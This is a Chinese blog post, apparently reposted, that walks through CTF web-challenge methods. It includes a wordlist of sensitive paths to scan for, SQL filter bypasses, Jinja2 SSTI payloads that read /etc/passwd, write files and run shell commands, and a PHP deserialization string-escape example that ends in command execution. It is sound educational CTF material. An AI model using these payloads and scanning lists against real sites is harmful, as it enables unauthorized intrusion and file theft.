滲透測試思路 - CTF(番外篇)


滲透測試思路

Another:影子

(主要記錄一下平時滲透的一些小流程和一些小經驗)

CTF(番外篇)

​ 筆者是一個WEB狗,更多的是做一些WEB類型題目,只能怪筆者太菜,哭~~

前言

​ 本篇僅介紹筆者記憶中比較深刻的CTF類型題目

(基本就是水文章,水字數)

WEB

語言

​ 筆者在WEB題目中更多的是PHP類型的題目(因為PHP是世界上最好的語言!)

​ 因為PHP的兼容性,易開發,環境易搭建,和容易快速入門

​ 語言推薦學習:PHP,Python,Java...

​ 框架推薦學習:TP,Laravel,Flask....

開始

​ 拿到題目的第一開始就要去判斷考點,如果沒有提示的時候(真心不喜歡一些考腦洞的)

​ 就可以去掃描一些敏感文件,比如源碼文件和.git泄露等一些敏感文件

hint.php
index.php?hint
readme.html
readme.md
robots.txt
.........

​ 這些地址都是有可能存在信息的一些地方,畢竟CTF和實戰相同而又不相同,CTF他既然會給出來,那就說明一定會有提示和利用的地方

​ CTF字典分享

.git
.git/HEAD
.git/index
.git/config
.git/description
source
source.php
.idea/workspace.xml
source.php.bak
.source.php.bak
source.php.swp
README.MD
README.md
README
.gitignore
.svn
.svn/wc.db
.svn/entries
user.php.bak
.hg
.DS_store
WEB-INF/web.xml
WEB-INF/src/
WEB-INF/classes
WEB-INF/lib
WEB-INF/database.propertie
CVS/Root
CVS/Entries
.bzr/
%3f
%3f~
.%3f.swp
.%3f.swo
.%3f.swn
.%3f.swm
.%3f.swl
_viminfo
.viminfo
%3f~
%3f~1~
%3f~2~
%3f~3~
%3f.save
%3f.save1
%3f.save2
%3f.save3
%3f.bak_Edietplus
%3f.bak
%3f.back
phpinfo.php
robots.txt
.htaccess
.bash_history
.svn/
.git/
.index.php.swp
index.php.swp
index.php.bak
.index.php~
index.php.bak_Edietplus
index.php.~
index.php.~1~
index.php
index.php~
index.php.rar
index.php.zip
index.php.7z
index.php.tar.gz
index.php.txt
login.php
register
register.php
test.php
upload.php
phpinfo.php
t.php
www.zip
www.rar
www.zip
www.7z
www.tar.gz
www.tar
web.zip
web.rar
web.zip
web.7z
web.tar.gz
web.tar
plus
qq.txt
log.txt
wwwroot.rar
web.rar
dede
admin
edit
Fckeditor
ewebeditor
bbs
Editor
manage
shopadmin
web_Fckeditor
login
webadmin
admin/WebEditor
admin/daili/webedit
login/
database/
tmp/
manager/
manage/
web/
admin/
shopadmin/
wp-includes/
edit/
editor/
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
upload/
uploads/
download/
downloads/
manager/
root.zip
root.rar
wwwroot.zip
wwwroot.rar
backup.zip
backup.rar
.svn/entries
.git/config
.ds_store
flag.php
fl4g.php
f1ag.php
f14g.php
admin.php
4dmin.php
adm1n.php
4dm1n.php
admin1.php
admin2.php
adminlogin.php
administrator.php
login.php
register.php
upload.php
home.php
log.php
logs.php
config.php
member.php
user.php
users.php
robots.php
info.php
phpinfo.php
backdoor.php
fm.php
example.php
mysql.bak
a.sql
b.sql
db.sql
bdb.sql
ddb.sql
users.sql
mysql.sql
dump.sql
data.sql
backup.sql
backup.sql.gz
backup.sql.bz2
backup.zip
rss.xml
crossdomain.xml
1.txt
flag.txt
/wp-config.php
/configuration.php
/sites/default/settings.php
/config.php
/config.inc.php
/conf/_basic_config.php
/config/site.php
/system/config/default.php
/framework/conf/config.php
/mysite/_config.php
/typo3conf/localconf.php
/config/config_global.php
/config/config_ucenter.php
/lib
/data/config.php
/data/config.inc.php
/includes/config.php
/data/common.inc.php
/caches/configs/database.php
/caches/configs/system.php
/include/config.inc.php
/phpsso_server/caches/configs/database.php
/phpsso_server/caches/configs/system.php
404.php
index.html
user/
users/
admin/
home/
test/
administrator/
houtai/
backdoor/
flag/
uploads/
download/
downloads/
manager/
phpmyadmin/
phpMyAdmin/

這是一些基本的CTF字典,可以滿足大部分的需求,在CTF中,WEB類型的大規模掃描容易被封禁IP,不建議大規模的掃描

判斷考點為SQL注入,SSTI模板注入,SSRF打內網,文件上傳,RCE等

比較不錯的CTF比賽一般過濾都很變態,所以在做題的時候一定要知道開發語言的版本,因為版本的不一樣,payload也會不一樣

前段時間,有人給我扔了一道NepNep的熱身題,大概是RCE,但是有一個判斷條件,要傳參一個值來進行繞過,然后第一開始我並沒有注意版本這個東西,然后直接一次構造payload打穿本地,然后拿payload去打靶機的時候不行了,

最后一看,靶機版本是7.0

我本地是5.3.。

這浪費了我一段時間。。有點小難受

開發語言的版本一定要和本地調試一樣,這個真的有點重要,千萬不要忘記

(
	問: 小影子,怎么知道開發語言的版本啊?
	答: 在文件頭的位置,或者其他地方,Wappalyzer插件是一個不錯的選擇
)

SQL

sql注入的題目一般大一點的比賽,過濾是真的變態,基本上就是過濾了絕大部分的關鍵字

sql類型的題目一般不會給出源碼

在沒有給出源碼的時候要去猜測后台拼接的sql語句

然后就要去判斷是黑名單還是替換了

替換的話直接雙寫繞過,這個一般在大型的CTF中一般不會存在(過於簡單。。)

黑名單的話,只能夠繞過

要首先判斷黑名單存在的關鍵字,這個地方可以使用Fuzz字典進行fuzz測試,再根據回顯不同進行判斷,再進行下一步操作

字典可以自己寫,也可以再網上尋找

例如過濾了空格

select/**/*/**/from/**/user;

image-20210412024750029

網上的教程有很多,所以筆者並不會多說,文章以思路為主(主要原因我不會,哈哈哈哈狗頭保命)

這種過濾在CTF中是一定會有繞過的方法的,之前打CTF,WP最過分的一次,WP中寫道,題目涉及0day,故並不發布出來,我???(這種一般也不會發出來,出一道題,給一個0day,這怎么想都不太可能,哈哈哈哈或或嗝)~~

RCE

一般的CTF命令執行都是直接給出源碼的,然后進行繞過,最后執行命令然后Get Flag

狼組CTF靶場中有一個PeiQi大佬出的一道題,就是命令執行,

過濾了一些主要函數,然后傳參的時候是用json數據進行傳參,源碼並沒有給出,猜測為ereg函數過濾替換傳參值

直接在json數據中添加%00繞過過濾,成功get Flag

SSTI

一般都是python的ssti,也有一些模板的模板注入

一般都是要手動去測試模板是否存在模板注入,在可控值的地方進行fuzz

{{ 1*1 }}
{{ 1*2 }}
{% ... %}
.........

Python的SSTI Payload 原理

​ Jinja2 模板中可以訪問一些 Python 內置變量,如[] {} 等,並且能夠使用 Python 變量類型中的一些函數這里其實就引出了

​ 在python的object類中集成了很多的基礎函數,我們想要調用的時候也是需要用object去操作的,這是兩種創建object的方法

​ Python中一些常見的特殊方法:

__class__返回調用的參數類型
__base__ 返回基類
__mro__ 允許我們在當前Python環境下追溯繼承樹
__subclasses__() 返回子類

​ 現在我們的思路就是從一個內置變量調用__class__.base__等隱藏屬性,去找到一個函數,然后調用其__globals['builtins']即可調用eval等執行任意代碼。

().__class__.__bases__[0]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]
	builtins即是引用,Python程序一旦啟動,它就會在程序員所寫的代碼沒有運行之前就已經被加載到內存中了,而對於builtins卻不用導入,它在任何模塊都直接可見,所以這里直接調用引用的模塊
>>> ''.__class__.__base__.__subclasses__()
# 返回子類的列表 [,,,...]

#從中隨便選一個類,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指這些函數並沒有被重載,這時他們並不是function,不具有__globals__屬性

#再換幾個子類,很快就能找到一個重載過__init__的類,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval執行命令即可
Python SSTI 常見Payload
#讀文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#寫文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

#任意執行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output\n\nRUNCMD = check_output\n')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }}  
{{ config['RUNCMD']('/usr/bin/id',shell=True) }} 

http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}      
http://127.0.0.1/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}(這條指令可以注入,但是如果直接進入python2打這個poc,會報錯,用下面這個就不會,可能是python啟動會加載了某些模塊)  
http://127.0.0.1/{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函數換為popen('').read(),需要導入os模塊)  
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要導入os模塊,直接從別的模塊調用)

文件上傳

​ 直接fuzz字典一把梭,然后查看能夠利用的所有后綴名,再查看上傳后文件是否將文件名更改,更改的目錄是否有目錄文件泄露等

​ 或者有關鍵字過濾,進行繞過,比如一些圖片監測,監測的是文件頭,直接制作圖片馬,或者在上傳文件開始的位置添加圖片的特征頭Gif89a

源碼(CMS)

​ 源碼泄露類型的題目一般注重於代碼審計,一般題目中給出的CMS可能會與網上存在的CMS有區別,里面可能由出題人故意增加了一些注入點,文件上傳或者木馬等,筆者在SXC的ClassCMS那一題中就對原CMS進行了一些源碼的更改,增加注入點,減少了題目的難度,這題的環境應該已經關閉了,其他的WEB題目沒有關閉,有意思的大佬可以來玩(http://sxc.starsnowsec.cn)

​ 這種類型的題目十分注重於代碼審計的能力,非常考驗CTFer的PHP,Flask,Java等開發語言的功底,如果這些開發語言基礎較為薄弱,可以先越過這些題目,轉戰其他題目

​ 源碼分析還是老樣子,通讀代碼結構,從前台到后台,所有用戶可控制的值,一般源碼類的題目基本漏洞都會是SQL注入,RCE,能夠Getshell的點,所以一些危害較小的漏洞可以嘗試放到最后審計 (畢竟也有可能XSS打后台)

反序列化

​ 反序列化中包括的點也挺多的,筆者遇見的都是一些 _wakeup 繞過,反序列化寫入文件,執行命令等,總體來說就是繞過,和PHP函數本身的一些問題

​ 還有一些字符串逃逸,這些中筆者最感興趣的就是字符串逃逸

​ 字符串逃逸漏洞的本質就是字符串的替換長度不同

​ php在反序列化的時候,底層代碼是以 ; 作為字段的分割,以 } 作為結尾,重點在於是根據長度判斷內容,並且嚴格按照反序列化規則

<?php
function lemon($string){
	$lemon = '/p/i';
	return preg_replace($lemon, 'www', $string);
}
$username = $_GET['a'];
$age = '20';
$user = array($username,$age);
echo(serialize($user));
echo "<br>";

$r = lemon(serialize($user));
echo($r);
echo "<br>";
echo(unserialize($r));
?>

這是一個php逃逸的示例代碼,結果如下:

image-20210412163912192

image-20210412164045773

http://127.0.0.1/1.php?a=a:2:{i:0;s:0:%22%22;i:1;s:2:%22pp%22;}
<?php
function lemon($string){
	$lemon = '/ww/i';
	return preg_replace($lemon, 'www', $string);
}
$username = $_GET['a'];
$age = 'ls';
$user = array($username,$age);
echo(serialize($user));
echo "<br>";

$r = lemon(serialize($user));
echo($r);
echo "<br>";
echo unserialize($r)[1];
echo "<br>";
print_r(system(unserialize($r)[1]));
?>

將代碼做點修改,通過字符串逃逸達到RCE的效果

payload為以下

http://127.0.0.1/1.php?a=wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}

Payload 效果如下

image-20210412171529780

a:2:{i:0;s:60:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}";i:1;s:2:"ls";}
a:2:{i:0;s:60:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:6:"whoami";}";i:1;s:2:"ls";}

​ php在反序列化的時候只會按照按序列化規則來進行反序列化,后面的就會忽略,這就構成了這個字符串逃逸的根本原因

​ (筆者在實戰中並沒有見過字符串逃逸類型的漏洞)

小程序

​ 小程序類的WEB題筆者之前在SXC的比賽中出了一道

(其他地方似乎沒有見過,是不是SXC是第一個有小程序WEB題目啊,哈哈哈哈或或嗝)

​ 無論是微信小程序還是支付寶小程序,本質都是HTML+JS+CSS前端文件,所以在獲取到小程序的包的時候,第一件事就是去解包,支付寶的小程序包都是以壓縮包形式存在的,可以直接解壓使用,微信小程序的包是以wxapkg為后綴名的文件,可以直接在網上尋找wxapkg解碼工具,這類教程還是有很多的,筆者就不再一一列舉

(
	問: 小影子,我不知道小程序包在哪里,找不到怎么辦?
	答: 網上有很多這種教程,包括微信小程序和支付寶小程序,微信小程序可以使用模擬器拿到源碼包,支付寶小程序的話,筆者在夜神模擬器中無法登錄支付寶,可能是支付寶有某些安全策略
	
	問: 小影子,夜神模擬器無法抓取小程序的源碼包,那我怎么辦啊?
	答: 手機開啟開發者調試模式,模式開啟每個廠商都基本不同,可以在網上進行一些資料搜索,然后adb連接手機,直接將所有小程序的包pull出來,然后再一個個分析,找到自己要測試的支付寶小程序源碼包
)

​ 小程序一類的解壓之后可以使用小程序開發工具進行代碼審計,畢竟都是原生的好用

image-20210412073912150

​ 下面為支付寶小程序開發工具

Misc

​ Web狗Web狗,除了Web,什么都能狗

​ 筆者之前打CTF的時候,有的時候Web題一道沒出,倒是Misc,Crypto,Re總能一個能出一道題目

作為一個CTFer,最好還是多學一點其他的知識,因為Web就像數學,不會就是真的不會了

但是Misc不一樣,說不定我就狗出來了,哈哈哈哈或

Crypto

​ Crypto這種我能夠打出來是因為我搞了好多的Crypto的腳本,直接腳本一把梭,運氣好就出來了

(I'm so ™‘s smart!)

image-20210412192624068

image-20210412192644981

這些應該在Github上面就有,挺香的

image-20210412192742674

在加上懸劍CTF版的一些腳本,我感覺我又行了

后言

​ CTF的最重要的還是要多去刷題,題海戰術,這點是非常有效的,刷的題一定要有效率的刷題,而且在復現或者給出源碼的情況下有類別的存在本地,WP也要好好的保管

千萬不要像筆者一樣刷完一道忘一道,就很垃圾,哭~~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM